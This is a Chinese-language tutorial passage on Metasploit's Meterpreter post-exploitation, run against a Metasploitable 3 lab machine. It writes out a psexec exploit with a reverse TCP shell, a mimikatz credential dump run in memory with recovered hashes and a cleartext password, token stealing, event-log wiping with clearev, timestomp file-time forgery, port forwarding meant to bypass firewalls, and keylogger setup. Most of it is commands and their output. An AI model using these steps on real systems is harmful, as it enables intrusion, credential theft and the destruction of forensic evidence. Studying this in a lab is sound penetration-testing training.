简介
在之前的教程中,我们更多地是学习了Metasploit
的前渗透阶段,我们尝试了各种技术和利用来攻击我们的目标。在本文中,我们将重点介绍 Metasploit
中最先进的有效负载 Meterpreter
,以及我们在拿下目标机器shell后可以做什么。 Meterpreter
为我们提供了许多功能,可以简化我们探索目标机器的任务。我们已经在前面了解了如何使用 Meterpreter
,在本文节中,我们将详细了解 Meterpreter
,以及如何将其用作为后渗透阶段的强力工具。
使用某些特定payloads
有一个主要缺点,即会在受损系统中创建新进程,容易被杀毒软件发现。此外,payloads
只能执行一些特定的任务或命令。为了克服这些困难,Meterpreter
应运而生。
Meterpreter
是Metasploit
的命令解释器,作为有效载荷使用内存DLL注入和本地共享对象格式。它与被攻击进程上下文一起工作,因此不会创建任何新进程。这使其更隐蔽和强大。
让我们看一下 Meterpreter
的一些功能。下图展示了加载 Meterpreter
的大致步骤
在第一步中,攻击利用和第一阶段有效载荷被发送到目标机器。在利用后,该阶段建立一个TCP连接回到给定地址和端口上的msfconsole
。接下来,msfconsole
发送第二阶段DLL注入有效载荷。成功注入后,它会发送Meterpreter DLL
以建立正确的通信通道。最后,Meterpreter
加载扩展程序(如stdapi
和priv
)。所有这些扩展都使用TLV
协议通过TLS
加载。这也是使用它的另一个重要优势:Meterpreter
与目标使用加密通信。
让我们快速总结一下 Meterpreter
相对于其他特定payloads
的优势:
- 它与被利用的进程上下文一起工作,因此不会创建新的进程。
- 它可以在进程之间轻松迁移
- 它完全驻留在内存中,因此不会向磁盘写入任何内容
- 使用加密通信
- 它使用通道化的通信系统,这样我们就可以同时建立多个通信信道
- 它提供了一个平台来快速轻松地编写扩展
本文节主要介绍使用Meterpreter
提供的各种命令和脚本来探索目标机器。首先分析常见的Meterpreter
命令,然后设置不同的通信信道、使用网络命令、键盘嗅探等。最后讨论scraper Meterpreter
脚本,它可以创建一个包含有关目标用户各种信息的单个目录。以及重点介绍可帮助探索受损系统的命令和脚本。
# 1、理解Meterpreter核心命令
我们从使用 Meterpreter
命令开始了解它们的功能。由于它是一个后渗透工具,我们需要一个受损的目标来执行命令。我们将使用Metasploitable 3
机器作为我们的目标,该机器已经被我们利用Microsoft Windows身份验证用户代码执行漏洞拿到了Meterpreter
会话。
为了避免每次我们想要测试 Meterpreter
命令时都要重复执行攻击过程,可以借助资源脚本,自动执行重复的任务。
1、Metasploit Framework
附带了很多由社区贡献的资源脚本,可以在 Kali Linux
机器上找到它们:
$ ls /usr/share/metasploit-framework/scripts/resource
auto_brute.rc bap_flash_only.rc oracle_login.rc
autocrawler.rc bap_ie_only.rc oracle_sids.rc
auto_cred_checker.rc basic_discovery.rc oracle_tns.rc
autoexploit.rc dev_checks.rc port_cleaner.rc
auto_pass_the_hash.rc fileformat_generator.rc portscan.rc
auto_win32_multihandler.rc meterpreter_compatibility.rc run_all_post.rc
bap_all.rc mssql_brute.rc smb_checks.rc
bap_dryrun_only.rc multi_post.rc smb_validate.rc
bap_firefox_only.rc nessus_vulns_cleaner.rc wmap_autotest.rc
2、要创建我们自己的资源脚本,我们只需要执行某个模块,然后使用makerc
命令创建一个资源文件,并将自msf
启动以来执行的命令保存到一个文件中:
msf6 > use exploit/windows/smb/psexec
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/psexec) > set RHOST 192.168.91.133
RHOST => 192.168.91.133
msf6 exploit(windows/smb/psexec) > set SMBUSER Administrator
SMBUSER => Administrator
msf6 exploit(windows/smb/psexec) > set SMBPASS vagrant
SMBPASS => vagrant
msf6 exploit(windows/smb/psexec) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/psexec) > set LHOST 192.168.91.128
LHOST => 192.168.91.128
msf6 exploit(windows/smb/psexec) > set LPORT 7777
LPORT => 7777
msf6 exploit(windows/smb/psexec) > exploit
[*] Started reverse TCP handler on 192.168.91.128:7777
[*] 192.168.91.133:445 - Connecting to the server...
[*] 192.168.91.133:445 - Authenticating to 192.168.91.133:445 as user 'Administrator'...
[*] 192.168.91.133:445 - Selecting PowerShell target
[*] 192.168.91.133:445 - Executing the payload...
[+] 192.168.91.133:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (175686 bytes) to 192.168.91.133
[*] Meterpreter session 1 opened (192.168.91.128:7777 -> 192.168.91.133:50786) at 2023-03-16 10:57:14 +0800
meterpreter >
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(windows/smb/psexec) > makerc /home/kali/psexec.rc //生成资源脚本
[*] Saving last 8 commands to /home/kali/psexec.rc ...
msf6 exploit(windows/smb/psexec) >
3、生成的资源脚本内容如下:
┌──(kali㉿kali)-[~]
└─$ cat psexec.rc
use exploit/windows/smb/psexec
set RHOST 192.168.91.133
set SMBUSER Administrator
set SMBPASS vagrant
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.91.128
set LPORT 7777
exploit
4、要在启动msf
时运行资源脚本,使用-q -r
加上资源脚本路径即可:
5、在入侵目标机器后,我们将得到一个 Meterpreter
会话,使用?
指令,可以列出所有的Meterpreter
命令以及简短说明:
让我们从一些系统命令开始。
background
:将会话设置到后台,以便需要时再次使用。当有多个活动的 Meterpreter
会话时,此命令很有用。也可以使用其短版本命令:bg
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(windows/smb/psexec) >
getuid
:返回我们所获取目标会话的用户
Server username: NT AUTHORITY\SYSTEM
getpid
:返回目标主机上Meterpreter
进程的ID
meterpreter > getpid
Current pid: 7260
ps
:列出目标机器上正在运行的进程,可以有助于识别目标机器运行的服务和软件
meterpreter > ps
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
0 0 [System Proces
s]
4 0 System x64 0
232 4 smss.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\sms
s.exe
272 3852 postgres.exe x86 0 NT AUTHORITY\LOCAL SERV C:\ManageEngine\Desktop
ICE Central_Server\pgsql
sysinfo
:返回目标机器操作系统架构等信息
meterpreter > sysinfo
Computer : METASPLOITABLE3
OS : Windows 2008 R2 (6.1 Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
shell
:进入目标系统交互式shell
meterpreter > shell
Process 6332 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>
exit
:从交互式shell
回退到meterpreter
,或者退出meterpreter
会话
C:\Windows\system32>exit
exit
meterpreter > exit
[*] Shutting down Meterpreter...
以上是一些有用的系统命令,可以用来探索受攻击目标并获取更多信息。还有许多其他命令,留给读者自己去尝试和探索。你可能已经注意到了使用Meterpreter
命令并探索目标非常容易,如果没有它,执行这些任务将会变得很困难。接下来我们会学习一些高级的Meterpreter
命令。
# 工作原理
Meterpreter
的工作方式类似于其他任何命令解释器。它被设计为通过命令理解和响应各种参数调用。它驻留在已被攻击/感染的进程上下文中,并与渗透测试人员机器创建‘客户端/服务器(C/S)’通信系统,如下图所示:
上图简要说明了 Meterpreter
的功能。一旦建立了通信通道,我们就可以向 Meterpreter
服务端发送命令调用,以将其响应返回给我们的机器。接下来我们将更详细地了解渗透机与受感染目标之间的通信过程。
# 2、理解Meterpreter文件系统命令
在本节中,我们将继续学习Meterpreter
中与文件系统相关的命令。这些命令有助于探索目标系统以执行各种任务,例如搜索文件、下载文件和更改目录。
1、首先是简单的命令,比如显示目标机器当前工作目录的pwd
命令,和更改工作目录的cd
命令、以及列出文件的ls
命令。
meterpreter > pwd
C:\Windows\system32
meterpreter > cd /
meterpreter > pwd
C:\
meterpreter > ls
Listing: C:\
============
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
040777/rwxrwxrwx 0 dir 2009-07-14 10:34:39 +0800 $Recycle.Bin
100444/r--r--r-- 8192 fil 2016-12-17 05:08:21 +0800 BOOTSECT.BAK
2、搜索目标机器的文件,可以使用search
命令。-f
参数指定搜索文件类型,-d
参数指定搜索路径
meterpreter > search -f *.doc -d c:/
Found 4 results...
==================
Path Size (bytes) Modified (UTC)
---- ------------ --------------
c:\ManageEngine\DesktopCentral_Server\licenses\LICENSE_TRAYICON.doc 24064 2015-10-07 21:32:36 +0800
c:\Program Files\OpenSSH\home\Public\Documents\jack_of_hearts.docx 676796 2016-12-09 14:01:02 +0800
c:\Users\Public\Documents\jack_of_hearts.docx 676796 2016-12-09 14:01:02 +0800
c:\vagrant\resources\flags\jack_of_hearts.docx 676796 2016-12-09 14:01:02 +0800
3、搜索特定文件后,我们可以使用download
命令将目标机上的文件下载到我们的机器上。
meterpreter > download c:\\vagrant\\resources\\flags\\jack_of_hearts.docx
[*] Downloading: c:\vagrant\resources\flags\jack_of_hearts.docx -> /home/kali/jack_of_hearts.docx
[*] Downloaded 660.93 KiB of 660.93 KiB (100.0%): c:\vagrant\resources\flags\jack_of_hearts.docx -> /home/kali/jack_of_hearts.docx
[*] Completed : c:\vagrant\resources\flags\jack_of_hearts.docx -> /home/kali/jack_of_hearts.docx
meterpreter >
tips:下载windows路径文件的时候,需要使用双斜杠
4、反之,我们也可以上传文件到目标机器,使用upload
命令
meterpreter > upload payload.exe payload.exe
[*] Uploading : /home/kali/payload.exe -> payload.exe
[*] Uploaded 7.00 KiB of 7.00 KiB (100.0%): /home/kali/payload.exe -> payload.exe
[*] Completed : /home/kali/payload.exe -> payload.exe
meterpreter >
5、如果要删除目标主机上的文件,可以使用rm
命令
meterpreter > rm payload.exe
6、使用Meterpreter
编辑文件可以通过edit
命令完成,该命令会调用vim
编辑器
meterpreter > edit flag.txt
7、查看目标系统的磁盘/驱动器挂载情况,可以使用show_mount
meterpreter > show_mount
Mounts / Drives
===============
Name Type Size (Total) Size (Free) Mapped to
---- ---- ------------ ----------- ---------
C:\ fixed 60.00 GiB 43.01 GiB
8、要显示所有可用的命令,可以使用help
命令加要显示的命令组:
meterpreter > help File System Commands
Stdapi: File system Commands
============================
Command Description
------- -----------
cat Read the contents of a file to the screen
cd Change directory
checksum Retrieve the checksum of a file
cp Copy source to destination
del Delete the specified file
dir List files (alias for ls)
download Download a file or directory
edit Edit a file
getlwd Print local working directory
getwd Print working directory
lcat Read the contents of a local file to the screen
lcd Change local working directory
lls List local files
lpwd Print local working directory
ls List files
mkdir Make directory
mv Move source to destination
pwd Print working directory
rm Delete the specified file
rmdir Remove directory
search Search for files
show_mount List all mount points/logical drives
upload Upload a file or directory
# 工作原理
Meterpreter
通过设置交互式命令提示符为我们提供了完全访问目标计算机的权限。我们也可以放置一个shell
会话以在默认的Windows DOS
模式下工作,但它将没有那么多功能。以上是对Meterpreter
一些重要文件系统命令的介绍,可以帮助我们探索目标计算机上的文件。还有更多命令,读者可以自己去尝试。
后续我们将学习一个非常有趣的Meterpreter
命令,称为timestomp
,它可以用于修改目标机器上的文件属性。
# 3、理解Meterpreter网络命令
Meterpreter
还提供了一些有用的网络命令。这些命令可以帮助我们理解目标用户的网络结构。我们可以分析系统是否属于局域网,还是一个独立的系统。我们还可以找出 IP
范围、DNS
和其他信息。当我们需要执行跳板(pivoting)攻击操作时,这样的网络信息非常有用。跳板是一个概念,通过它我们可以攻击与目标在同一网络中的其他计算机。我们还将了解如何使用 Meterpreter
进行高级跳板攻击操作。
在进行本节内容学习前,我们先了解三个网络基础术语和概念。
- 子网:子网是将大型网络划分为较小的、可识别的部分的概念。进行子网划分是为了增加IP地址实用性和安全性。
- 网络掩码:网络掩码是一个 32 位的掩码,用于将 IP 地址划分为子网并指定网络的可用主机。
- 网关:网关指定转发或下一跳 IP 地址,通过该地址可以到达由网络目标和子网掩码定义的地址范围。
当我们使用route
命令和其他网络命令时,我们将会用到这三个概念。
1、查看Meterpreter
提供的网络相关命令:
meterpreter > help net
Stdapi: Networking Commands
===========================
Command Description
------- -----------
arp Display the host ARP cache
getproxy Display the current proxy configuration
ifconfig Display interfaces
ipconfig Display interfaces
netstat Display the network connections
portfwd Forward a local port to a remote service
resolve Resolve a set of host names on the target
route View and modify the routing table
2、查看目标主机arp
缓存表,使用arp
命令
meterpreter > arp
ARP cache
=========
IP address MAC address Interface
---------- ----------- ---------
10.1.1.1 00:50:56:e9:10:7f 17
10.1.1.254 00:50:56:ef:ae:9c 17
192.168.91.2 00:50:56:e1:c9:60 17
192.168.91.128 00:0c:29:f6:f2:5b 17
192.168.91.254 00:50:56:ef:d6:99 17
192.168.91.255 ff:ff:ff:ff:ff:ff 17
224.0.0.22 00:00:00:00:00:00 1
224.0.0.22 01:00:5e:00:00:16 17
224.0.0.251 01:00:5e:00:00:fb 17
224.0.0.252 01:00:5e:00:00:fc 17
239.77.124.213 00:00:00:00:00:00 1
255.255.255.255 ff:ff:ff:ff:ff:ff 17
3、getproxy
命令可以查看当前的代理配置
meterpreter > getproxy
Auto-detect : Yes
Auto config URL :
Proxy URL :
Proxy Bypass :
4、ipconfig/ifconfig
命令用于显示目标机器的所有 TCP/IP
网络配置。它们列出了目标 IP 地址、硬件 MAC 和网络掩码等信息:
meterpreter > ifconfig
Interface 1
============
Name : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
Interface 12
============
Name : Microsoft ISATAP Adapter
Hardware MAC : 00:00:00:00:00:00
MTU : 1280
IPv6 Address : fe80::5efe:c0a8:5b85
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
5、查看目标机当前的网络连接信息,使用netstat
命令:
meterpreter > netstat
Connection list
===============
Proto Local addre Remote addre State User Inode PID/Program name
ss ss
----- ----------- ------------ ----- ---- ----- ----------------
tcp 0.0.0.0:21 0.0.0.0:* LISTEN 0 0 1492/svchost.exe
tcp 0.0.0.0:22 0.0.0.0:* LISTEN 0 0 2412/sshd.exe
tcp 0.0.0.0:80 0.0.0.0:* LISTEN 0 0 4/System
tcp 0.0.0.0:135 0.0.0.0:* LISTEN 0 0 688/svchost.exe
tcp 0.0.0.0:445 0.0.0.0:* LISTEN 0 0 4/System
tcp 0.0.0.0:161 0.0.0.0:* LISTEN 0 0 3328/java.exe
7
tcp 0.0.0.0:330 0.0.0.0:* LISTEN 0 0 3664/mysqld.exe
6、portfwd
命令用于将传入的TCP
和/或UDP
连接转发到远程主机。通过以下示例了解端口转发:
有三个主机,分别是主机A、主机B和主机C。如果A无法直接连接到C,可以通过中间的B来实现连接。当B在中间传递从A获取的连接流并处理该连接时,我们称其为端口转发。
这个过程是如何在网络上呈现出来的:B运行一个软件,在其某个端口(例如20号端口)上打开TCP监听器;C也运行一个监听器,用于从B主机接收数据包。因此,如果A将任何数据包发送到B的20号端口,则它将自动转发到主机C。此时,主机B正在将其数据包进行端口转发以便传输给主机C。
7、下一个是route
命令,类似于MS-DOS里面的route
,该命令用于显示和修改目标主机上的路由表。
meterpreter > route
IPv4 network routes
===================
Subnet Netmask Gateway Metric Interface
------ ------- ------- ------ ---------
0.0.0.0 0.0.0.0 192.168.91.2 10 17
127.0.0.0 255.0.0.0 127.0.0.1 306 1
127.0.0.1 255.255.255.255 127.0.0.1 306 1
127.255.255.255 255.255.255.255 127.0.0.1 306 1
192.168.91.0 255.255.255.0 192.168.91.133 266 17
192.168.91.133 255.255.255.255 192.168.91.133 266 17
192.168.91.255 255.255.255.255 192.168.91.133 266 17
224.0.0.0 240.0.0.0 127.0.0.1 306 1
224.0.0.0 240.0.0.0 192.168.91.133 266 17
255.255.255.255 255.255.255.255 127.0.0.1 306 1
255.255.255.255 255.255.255.255 192.168.91.133 266 17
8、要显示特定命令的帮助菜单,可以使用-h
参数
meterpreter > route -h
Usage: route [-h] command [args]
Display or modify the routing table on the remote machine.
Supported commands:
add [subnet] [netmask] [gateway]
delete [subnet] [netmask] [gateway]
list
# 工作原理
如果要进行端口转发,我们可以使用如下命令:
meterpreter > portfwd add -l 444 -L 127.0.0.1 -r 10.1.1.10 -p 3389
[*] Forward TCP relay created: (local) 127.0.0.1:444 -> (remote) 10.1.1.10:3389
meterpreter >
add
:新增端口转发
-l
:在主机A上监听的端口
-L
:定义要绑定的IP地址,由于我们正在主机 A 上运行这些参数,并且希望从同一主机继续工作,因此将 IP 地址设置为 127.0.0.1
-r
:指定目标主机IP
。
-p
:指定目标主机端口
查看攻击机监听端口:
端口转发成功后,访问攻击机的444端口就等同于访问目标靶机的3389端口。
以上就是使用端口转发的简单演示。该技术通常被用于绕过防火墙和入侵检测系统。
# 4、理解Meterpreter 系统命令
Meterpreter
系统命令允许你在不切换到目标shell会话的情况下执行目标系统上的命令。
1、clearev
命令可以清理目标系统上的日志,包括Application
, System
和Security
日志。
meterpreter > clearev
[*] Wiping 11 records from Application...
[*] Wiping 85 records from System...
[*] Wiping 64 records from Security...
meterpreter >
2、使用execute
命令可以在目标上执行可运行的文件或命令,该命令的好处是它允许我们从内存中运行命令,而不需要将二进制文件上传到目标,这样可以有效地绕过一些反病毒产品。
以下是一些示例:
meterpreter > execute -H -i -c -m -d calc.exe -f /usr/share/mimikatz/x64/mimikatz.exe -a '"sekurlsa::logonPasswords full" exit'
Process 7704 created.
Channel 1 created.
.#####. mimikatz 2.1.1 (x64) #17763 Dec 9 2018 23:56:50
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ** Kitten Edition **
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
mimikatz(commandline) # sekurlsa::logonPasswords full
Authentication Id : 0 ; 131506 (00000000:000201b2)
Session : Service from 0
User Name : sshd_server
Domain : METASPLOITABLE3
Logon Server : METASPLOITABLE3
Logon Time : 6/17/2021 3:00:44 PM
SID : S-1-5-21-4284256829-2906533508-3862448105-1002
msv :
[00000003] Primary
* Username : sshd_server
* Domain : METASPLOITABLE3
* LM : e501ddc244ad2c14829b15382fe04c64
* NTLM : 8d0a16cfc061c3359db455d00ec27035
* SHA1 : 94bd2df8ae5cadbbb5757c3be01dd40c27f9362f
tspkg :
* Username : sshd_server
* Domain : METASPLOITABLE3
* Password : D@rj33l1ng
wdigest :
* Username : sshd_server
* Domain : METASPLOITABLE3
* Password : D@rj33l1ng
kerberos :
* Username : sshd_server
* Domain : METASPLOITABLE3
* Password : D@rj33l1ng
ssp :
credman :
命令参数解释:
-H
:创建隐藏进程-i
:允许我们在创建进程后与之交互-c
:I/O
通道-m
:在内存中执行-d
:指定要启动的虚假可执行文件calc.exe
:虚假的可执行文件-f
:指定可执行文件的路径(攻击机上的文件路径)-a
:传递给可执行文件的参数
tips : 在运行
mimikatz
之前,请使用migrate -N lsass.exe
命令将当前会话迁移到LSASS.exe
进程。meterpreter > migrate -N lsass.exe [*] Removing existing TCP relays... [*] Successfully stopped TCP relay on 127.0.0.1:444 [*] 1 TCP relay(s) removed. [*] Migrating from 6396 to 480...
3、使用getuid
显示当前进程的uid
meterpreter > getpid
Current pid: 480
4、使用getprivs
显示当前进程可用的所有权限
meterpreter > getprivs
Enabled Process Privileges
==========================
Name
----
SeAssignPrimaryTokenPrivilege
SeAuditPrivilege
SeBackupPrivilege
SeChangeNotifyPrivilege
SeCreateGlobalPrivilege
SeCreatePagefilePrivilege
SeCreatePermanentPrivilege
SeCreateSymbolicLinkPrivilege
SeCreateTokenPrivilege
SeDebugPrivilege
SeImpersonatePrivilege
5、getsid
命令获取目标机运行的用户的SID
meterpreter > getsid
Server SID: S-1-5-18
6、getuid
返回我们所获取目标会话的用户
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
7、使用kill pid
命令可用终止目标机上的进程
meterpreter > kill 8124
Killing: 8124
8、使用pgrep
按名称过滤进程
meterpreter > pgrep calc.exe
6868
7152
1368
9、使用pkill
按名称终止进程
meterpreter > pkill calc.exe
Filtering on 'calc.exe'
Killing: 4972, 6752, 4396,
10、ps
可以列出正在运行的所有进程
meterpreter > ps
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
0 0 [System Proces
s]
4 0 System x64 0
232 4 smss.exe x64 0 NT AUTHORITY\SYSTEM \SystemRoot\System32\sm
ss.exe
272 3852 postgres.exe x86 0 NT AUTHORITY\LOCAL SERV C:\ManageEngine\Desktop
ICE Central_Server\pgsql\bi
n\postgres.exe
312 304 csrss.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\csr
ss.exe
360 472 svchost.exe x64 0 NT AUTHORITY\LOCAL SERV C:\Windows\system32\svc
ICE host.exe
ps的更多选项可以使用-h
查看帮助
11、reg
命令可以查看和修改目标机注册表
eterpreter > reg enumkey -k HKLM\\Software
Enumerating: HKLM\Software
Keys (19):
7-Zip
ATI Technologies
CBSTEST
Classes
Clients
Cygnus Solutions
Cygwin
JavaSoft
12、shell
命令可以进入目标系统shell
会话,退回到meterpreter
会话,使用exit
meterpreter > shell
Process 6752 created.
Channel 2 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>
13、steal_token
命令将尝试从目标进程窃取模拟令牌
meterpreter > steal_token 2064
Stolen token with username: METASPLOITABLE3\Administrator
meterpreter > getuid
Server username: METASPLOITABLE3\Administrator
14、使用rev2self
调用目标的RevertToSelf()
函数返回之前的token
meterpreter > rev2self
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
15、使用suspend
命令将暂停或恢复进程
meterpreter > suspend 3448
[*] Suspending: 3448
[*] Targeting process with PID 3448...
# 5、与目标建立多重信道
在本节中,我们将研究如何设置多个通道来与目标进行通信。正如我们在本文介绍中所讨论的,Meterpreter
中客户端和服务器之间的通信采用加密形式,并使用Type-Length-Value(TLV)
协议进行数据传输。使用TLV
的主要优点是它允许使用特定通道号标记数据,从而允许在受害者上运行的多个程序与攻击机器上的 Meterpreter
通信。这有助于同时建立多个通信信道。
在上一节中,我们学到了execute
指令,它可以用于启动多个通信信道。
meterpreter > execute -h
Usage: execute -f file [options]
Executes a command on the remote machine.
OPTIONS:
-a The arguments to pass to the command.
-c Channelized I/O (required for interaction).
-d The 'dummy' executable to launch when using -m.
-f The executable command to run.
-h Help menu.
-H Create the process hidden from view.
-i Interact with the process after creating it.
-k Execute process on the meterpreters current desktop
-m Execute from memory.
-p Execute process in a pty (if available on target platform)
-s Execute process in a given session as the session user
-t Execute process with currently impersonated thread token
-z Execute process in a subshell
1、创建通道,使用-f
和-c
参数
meterpreter > execute -f notepad.exe -c
Process 676 created.
Channel 3 created.
可以看到已经创建了三个信道了。
2、使用channel -l
可以列出可用的信道。
meterpreter > channel -l
Id Class Type
-- ----- ----
3 3 stdapi_process
4 3 stdapi_process
meterpreter >
3、使用write channel id
命令可用往信道写入内容
meterpreter > write 3
Enter data followed by a "." on an empty line:
Metasploit!
.
[*] Wrote 12 bytes to channel 3.
4、读取信道的数据,我们可以使用read channel ID
。如果我们想与任何信道进行交互,我们可以使用channel -i id
:
meterpreter > channel -i 4
Interacting with channel 4...
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>
5、使用Ctrl+Z
将信道会话放到后台,使用Ctrl+C
结束信道会话。
C:\Windows\system32>^Z
Background channel 4? [y/N] y
meterpreter > channel -i 4
Interacting with channel 4...
C:\Windows\system32>^C
Terminate channel 4? [y/N] y
本节介绍了使用多个通道的优势,以及同时管理和切换不同通道的简易性。当在目标机器上运行多个服务时,使用信道变得非常重要。
# 工作原理
Metasploit
使用不同的通道ID标记每个消息,以帮助识别特定命令应在哪个通道上执行。Meterpreter
中的通信过程遵循TLV
协议,可以为不同的消息打上特定的通道ID标签,以提供多通道通信支持。
# 6、Meterpreter反取证
在之前的内容中,我们了解了一些重要且有用的Meterpreter
文件系统命令,可以用于执行目标机器上的各种任务。Meterpreter
还包含另一个有趣的命令称为timestomp
。此命令用于更改文件的Modified-Accessed-Created-Entry(MACE)
属性。该属性值表示发生在文件中的任何MACE
活动的日期和时间。使用timestomp
命令,我们可以更改这些值。
tips:
- Modified:指文件的最后修改时间,即文件内容最后一次被修改的时间。
- Accessed:指文件的最后访问时间,即文件最后一次被访问的时间。
- Created:指文件的创建时间,即文件被创建的时间。
- Entry Modified:Entry Modified 指的是该文件的MFT 条目最后一次更改的时间,MFT 条目包含有关文件的元数据,包括文件名、文件大小、文件类型、访问权限等信息。因此更改其中任何一项也应该更改“条目修改”日期
在开始本节内容之前,你可能有一个疑问。为什么要更改MACE
值?黑客通常使用更改MACE
值的技术来使目标用户认为该文件已经存在于系统中很长时间,并且没有被访问或修改过。在出现可疑活动的情况下,系统管理员可以检查最近修改的文件以找出是否有任何文件被修改或访问。因此,使用这种技术,该文件将不会出现在最近访问或修改项目列表中。即使还有其他方法可以发现文件属性是否已被修改,但这种技术仍然非常有效。
首先从目标机器上选取一个文件并更改其MACE
属性,下图是没有使用timestomp
之前的MACE
属性值:
使用timestomp C:\\flag.txt -v
列出文件的MACE
属性
meterpreter > timestomp C:\\flag.txt -v
[*] Showing MACE attributes for C:\flag.txt
Modified : 2023-03-16 12:51:38 +0800
Accessed : 2019-06-18 13:01:01 +0800
Created : 2019-06-18 13:01:01 +0800
Entry Modified: 2023-03-16 12:51:38 +0800
meterpreter >
更改文件的创建时间:
meterpreter > timestomp c:\\flag.txt -c "05/20/2017 01:01:01"
[*] Setting specific MACE attributes on c:\flag.txt
meterpreter > timestomp c:\\flag.txt -v
[*] Showing MACE attributes for c:\flag.txt
Modified : 2023-03-16 12:51:38 +0800
Accessed : 2019-06-18 13:01:01 +0800
Created : 2017-05-20 01:01:01 +0800
Entry Modified: 2023-03-16 12:51:38 +0800
meterpreter >
# 工作原理
-c
参数可用修改文件的创建时间,-m
参数可用修改文件的修改时间,-a
参数可用修改文件的最后访问时间。
meterpreter > timestomp c:\\flag.txt -m "05/20/2017 01:01:01"
[*] Setting specific MACE attributes on c:\flag.txt
meterpreter > timestomp c:\\flag.txt -a "05/20/2017 01:01:01"
[*] Setting specific MACE attributes on c:\flag.txt
meterpreter > timestomp c:\\flag.txt -v
[*] Showing MACE attributes for c:\flag.txt
Modified : 2017-05-20 01:01:01 +0800
Accessed : 2017-05-20 01:01:01 +0800
Created : 2017-05-20 01:01:01 +0800
Entry Modified: 2023-03-16 12:51:38 +0800
我们已经成功修改了文件的MACE属性。现在,这个文件将不会出现在最近修改或最近访问的文件列表中。
或者,我们也可以使用 -z
参数一次性更改所有四个 MACE
值。但是,-z
参数会将四个 MACE
属性分配相同的值,这在实际上是不符合常理的。因为创建时间和访问时间之间必定会存在一些时间差异。因此,应避免使用-z
参数。
其他
Metasploit
创建了一组称为 Metasploit 反取证调查武器库 (MAFIA)
的工具作为其研究项目的一部分,包括:
- Timestomp
- Slacker
- Transmogrify
- SAM Juicer
但这些工具有的已经很多年没更新了,它们不再与现代操作系统兼容。
# 7、屏幕和键盘监听
本节将介绍与桌面和按键嗅探相关的一些stdapi
用户接口命令。捕获按键取决于当前活动的桌面,因此必须了解如何通过在不同桌面活动会话中运行的进程之间切换来嗅探不同的按键。让我们继续学习本节内容以更好地理解这个过程。
enumdesktops
命令可列出所有可访问的桌面和窗口站(Window Stations):
meterpreter > enumdesktops
Enumerating all accessible desktops
Desktops
========
Session Station Name
------- ------- ----
0 WinSta0 Default
0 WinSta0 Disconnect
0 WinSta0 Winlogon
meterpreter >
你可以看到所有可用的桌面站都与Session 0
相关联。后面我们将确切地了解什么是Session 0
。
getdesktop
命令可用返回Meterpreter
会话所在的当前桌面信息。
meterpreter > getdesktop
Session 0\S\D
meterpreter >
可以将getdesktop
命令的输出与enumdesktops
进行关联,以了解我们正在使用的当前桌面站的更多信息。
setdesktop
可以切换当前的Meterpreter
桌面站。
keyscan_start
命令用于在当前活动桌面站启动按键嗅探器。
keyscan_dump
命令转储活动 Meterpreter
桌面会话的按键记录。
现在,让我们分析一下这些命令在实时场景中的工作方式以及如何通过不同的桌面站点嗅探按键。
在进一步学习之前,我们需要先了解一下有关Windows desktop
的概念。
Windows desktop
被分成不同的会话,以定义用户与Windows
机器交互的方式。 Session 0
代表控制台。 其他会话,如Session 1、Session2
等,代表远程桌面会话。
每个 Windows
会话都可以由不同的窗口站组成,其中 WinSta0
是唯一的交互式站点,这意味着它是用户唯一可以与之交互的站点。它被分配给交互式用户的登录会话,包含键盘、鼠标和显示设备。除此之外,其他窗口站都是非交互式的,这意味着它们不能显示用户界面或接收用户输入。WinSta0
包含三个不同的桌面,分别为 Default
、Disconnect
和 Winlogon
。桌面是一个逻辑显示表面,包含用户界面对象,如窗口、菜单和钩子。Default
桌面与我们在桌面上执行的所有应用程序和任务相关联;Disconnect
桌面涉及屏幕保护程序锁定桌面;Winlogon
桌面涉及 Windows
登录屏幕。
关于Window Station 和Desktop,可以看微软官方的说明:https://learn.microsoft.com/en-us/windows/win32/winstation/window-stations-and-desktops
在 Windows XP、Windows Server 2003 和更早版本的 Windows 操作系统中,所有服务都在与登录到控制台的第一个用户相同的会话中运行。此会话称为
Session 0
从Microsoft Windows Vista 和 Windows Server 2008开始,为了安全,对 Session 0 进行了隔离,并设置为非交互式。只有系统进程和服务在 Session0 中运行。用户登录到
Session 1
,Session 2
,Session 3
等。
这里需要注意的是每个桌面都有自己的键盘缓冲区。因此,如果需要从Default
桌面中嗅探按键,则必须确保当前Meterpreter
活动桌面设置为Session 0 / WinSta0 / Default
。如果嗅探登录密码,则必须将活动桌面更改为Session 0 / WinSta0 / Winlogon
。
1、使用getdesktop
查看当前会话的桌面信息:
